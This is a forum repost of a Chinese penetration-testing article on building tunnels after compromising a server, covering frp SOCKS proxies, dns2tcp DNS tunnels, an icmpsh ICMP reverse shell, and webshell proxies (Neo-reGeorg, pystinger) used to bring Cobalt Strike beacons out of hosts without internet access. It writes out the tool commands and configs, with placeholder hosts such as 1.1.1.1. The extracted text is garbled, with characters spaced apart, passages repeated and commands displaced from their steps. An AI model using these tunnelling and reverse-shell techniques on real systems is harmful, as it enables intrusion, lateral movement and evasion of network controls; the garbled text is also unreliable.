搜索

[16205] 2020-12-13_内网渗透之主机出网OR不出网隧道搭建

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-12-13_内网渗透之主机出网OR不出网隧道搭建 内 网 渗 透 之 主 机 出 网 O R 不 出 网 隧 道 搭 建 原 创   w h o a m i 1 2 3   F r e e B u f   2 0 2 0 - 1 2 - 1 3 当 拿 到 权 限 之 后 ， 做 完 本 地 信 息 收 集 ， 最 重 要 的 就 是 做 个 隧 道 ， 对 内 网 进 行 下 一 步 攻 击 ， 这 里 简 单 介 绍 几 个 常 用 的 工 具 ， 主 要 针 对 于 出 网 和 不 出 网 两 种 情 况 。 出 网 情 况 出 网 情 况 拿 到 服 务 器 权 限 之 后 ， 遇 见 这 种 机 器 ， 十 分 简 单 ， 针 对 不 同 情 况 搭 建 不 同 隧 道 ， 为 了 速 度 可 以 建 立 s o c k e t s 隧 道 、 为 了 隐 蔽 可 以 使 用 d n s 隧 道 、 i c m p 隧 道 等 ， 本 文 简 单 介 绍 几 个 常 用 工 具 。 f r p f r p   是 一 个 专 注 于 内 网 穿 透 的 高 性 能 的 反 向 代 理 应 用 ， 支 持   T C P 、 U D P 、 H T T P 、 H T T P S   等 多 种 协 议 。 可 以 将 内 网 服 务 以 安 全 、 便 捷 的 方 式 通 过 具 有 公 网   I P   节 点 的 中 转 暴 露 到 公 网 。 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / f a t e d i e r / f r p / 下 载 之 后 ， 我 们 只 需 要 关 注 四 个 文 件 即 可 ： f r p s f r p s . i n i f r p c f r p c . i n i 修 改 f r p c . i n i ， 这 里 搭 建 s o c k e t s 隧 道 ， 上 传 至 目 标 服 务 器 启 动 即 可 。 服 务 端 根 据 f r p s . i n i 修 改 端 口 . / f r p c   - c   f r p c . i n i
启 动 监 听 即 可 建 立 s o c k e t s 隧 道 ， 利 用 P r o x i f i e r p r o x 等 ， 即 可 全 局 代 理 隧 道 ， 访 问 目 标 主 机 内 网 。 d n s 这 个 比 较 麻 烦 需 要 准 备 一 个 域 名 ， 和 一 台 D N S 服 务 器 ， 在 域 名 解 析 添 加 一 条 N S 记 录 和 一 条 A 记 录 。 举 个 例 子 ， 域 名 是 1 2 3 . c o m ， 添 加 一 个 子 域 名 a . 1 2 3 . c o m ， 且 类 型 为 N S ， 并 将 N S 记 录 指 向 b . 1 2 3 . c o m ， 然 后 将 b . 1 2 3 . c o m 建 立 A 记 录 服 务 器 I P 即 可 ， 利 用 的 工 具 也 很 多 ， 本 文 简 单 介 绍 d n s 2 t c p 。 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / H E Y A H O N G / d n s 2 t c p 客 户 端 客 户 端 服 务 端 修 改 d n s 2 t c p d . c o n f ， 然 后 执 行 ， d n s 隧 道 就 搭 建 好 了 ， 利 用 n c 进 行 传 输 文 件 即 可 。 建 立 传 输 目 标 主 机 监 听 并 接 受 文 件 即 可 。 . / f r p s   - c   f r p s . i n i a . 1 2 3 . c o m   N S   b . 1 2 3 . c o m b . 1 2 3 . c o m   A   1 . 1 . 1 . 1 d n s 2 t c p c   - r   n c   - z   a . 1 2 3 . c o m   1 . 1 . 1 . 1   - l   8 8 8 8   - d   2     - r   后 接 服 务 名 称 任 意 换 ,   本 文 用 n c - z   后 接 N S 记 录 的 网 址 - l   后 接 本 地 端 口 l i s t e n   =   0 . 0 . 0 . 0 p o r t   =   5 3 u s e r   =   r o o t c h r o o t   =   / h o m e / d o m a i n   =   a . 1 2 3 . c o m k e y   =   1 2 3 r e s o u r c e s   =   s s h : 1 2 7 . 0 . 0 . 1 : 2 2 , s m t p : 1 2 7 . 0 . 0 . 1 : 2 5 , s o c k s : 1 2 7 . 0 . 0 . 1 : 1 0 8 0 , h t t p : 1 2 7 . 0 . 0 . 1 : 8 0 , h t t p s : 1 2 7 . 0 . 0 . 1 : 8 0 8 0 d n s 2 t c p d   - F   - d   3   - f   / h o m e / d n s 2 t c p d . c o n f
i c m p i c m p 隧 道 主 要 因 为 大 部 分 防 火 墙 不 会 屏 蔽   p i n g   ， 所 以 可 以 将 流 量 封 装 在 i c m p 进 行 传 输 ， 这 种 速 度 跟 s o c k e t s 相 比 太 慢 了 ， 特 殊 情 况 才 会 使 用 。 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / i n q u i s b / i c m p s h 服 务 端 ： p y t h o n   i c m p s h _ m . p y   i p   目 标 i p 目 标 机 即 可 反 弹 i c m p 隧 道 s h e l l 回 来 。 不 出 网 情 况 不 出 网 情 况 拿 到 服 务 器 权 限 之 后 ， 遇 见 这 种 机 器 ， 只 能 利 用 基 于 w e b s h e l l 的 代 理 ， 只 需 要 将 w e b s h e l l 上 传 到 目 标 主 机 即 可 ， 然 后 建 立 t c p 连 接 ， 主 要 利 用 s e s s i o n 来 识 别 不 同 的 的 t c p 连 接 ， 我 们 攻 击 监 听 t c p ， 将 数 据 p o s t 提 交 到 w e b s h e l l 即 可 进 行 传 输 ， 本 文 简 单 介 绍 两 个 常 用 的 。 N e o - r e G e o r g N e o - r e G e o r g 相 当 于 是   r e G e o r g 的 升 级 版 ， 有 了 更 强 的 隐 蔽 性 ， 原 理 都 是 相 同 的 ， 常 用 于 w e b s h e l l 代 理 流 量 ， 进 而 进 行 内 网 渗 透 。 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / L - c o d e s / N e o - r e G e o r g 首 先 需 要 设 置 密 码 ， 生 成 各 种 类 型 w e b s h e l l ， 并 上 传 至 目 标 服 务 器 上 传 至 服 务 器 即 可 ， 然 后 启 动 监 听 即 可 i c m p s h . e x e   - t   目 标 i p p y t h o n   n e o r e g . p y   g e n e r a t e   - k   p a s s w o r d p y t h o n   n e o r e g . p y   - k   p a s s w o r d   - u   h t t p : / / 1 . 1 . 1 . 1 / t u n n e l . p h p
最 后 挂 上 s o c k e t s 代 理 即 可 访 问 内 网 。 p y s t i n g e r 毒 刺 ( p y s t i n g e r ) 通 过 w e b s h e l l 实 现 内 网 s o c k s 4 代 理 ， 并 且 可 以 利 用 p y s t i n g e 实 现 各 种 c s m s f 上 线 ， 目 前 仅 支 持 p h p 、 j s p ( x ) 、 a s p x . 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / F u n n y W o l f / p y s t i n g e r 这 个 工 具 比 较 强 大 ， 这 里 可 以 直 接 上 线 c s ， 简 单 介 绍 如 何 搭 建 s o c k s 4 以 及 c s 上 线 。 s o c k s 4 隧 道 搭 建 ： 首 先 上 传 p r o x y . p h p ， 然 后 上 传 s t i n g e r _ s e r v e r . e x e   到 目 标 服 务 器 ， 并 s t a r t 命 令 运 行 该 程 序 最 后 在 我 们 的 服 务 器 执 行 即 可 建 立 s o c k s 4 隧 道 ， 利 用 P r o x i f i e r p r o x 等 ， 访 问 目 标 主 机 内 网 。 c s 上 线 ： 前 面 大 体 相 同 ， 首 先 上 传 p r o x y . p h p ， 然 后 上 传 s t i n g e r _ s e r v e r . e x e   到 目 标 服 务 器 ， 启 动 利 用 冰 蝎 s t a r t 启 动 即 可 我 们 的 服 务 器 也 需 要 进 行 监 听 然 后 c s 进 行 监 听 ， 端 口 填 写 6 0 0 2 0 进 而 利 用 c s 生 成 p o w e r s h e l l . / s t i n g e r _ c l i e n t   - w   h t t p : / / 1 . 1 . 1 . 1 / p r o x y . p h p   - l   0 . 0 . 0 . 0   - p   6 0 0 0 0 . / s t i n g e r _ c l i e n t   - w   h t t p : / / 1 . 1 . 1 . 1 / p r o x y . p h p   - l   0 . 0 . 0 0   - p   6 0 0 0 0
执 行 可 以 利 用 p y s t i n g e r ， 进 行 不 出 网 主 机 上 线 。 E n d 这 里 只 是 抛 砖 引 玉 ， 引 出 一 些 在 之 前 工 作 中 针 对 于 不 出 网 以 及 出 网 主 机 ， 用 过 最 多 的 几 个 隧 道 代 理 工 具 ， 还 请 这 里 只 是 抛 砖 引 玉 ， 引 出 一 些 在 之 前 工 作 中 针 对 于 不 出 网 以 及 出 网 主 机 ， 用 过 最 多 的 几 个 隧 道 代 理 工 具 ， 还 请 各 位 大 佬 勿 喷 ， 有 更 好 的 工 具 多 补 充 ， 共 同 交 流 ， 这 样 我 们 才 能 共 同 成 长 ， 格 拉 德 威 尔 曾 说 过 ： 各 位 大 佬 勿 喷 ， 有 更 好 的 工 具 多 补 充 ， 共 同 交 流 ， 这 样 我 们 才 能 共 同 成 长 ， 格 拉 德 威 尔 曾 说 过 ： “ 人 们 眼 中 的 天 人 们 眼 中 的 天 才 之 所 以 卓 越 非 凡 ， 并 非 天 资 超 人 一 等 ， 而 是 付 出 了 持 续 不 断 的 努 力 。 才 之 所 以 卓 越 非 凡 ， 并 非 天 资 超 人 一 等 ， 而 是 付 出 了 持 续 不 断 的 努 力 。 1 万 小 时 的 锤 炼 是 任 何 人 从 平 凡 变 成 世 界 万 小 时 的 锤 炼 是 任 何 人 从 平 凡 变 成 世 界 级 大 师 的 必 要 条 件 级 大 师 的 必 要 条 件 “ 。 。 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理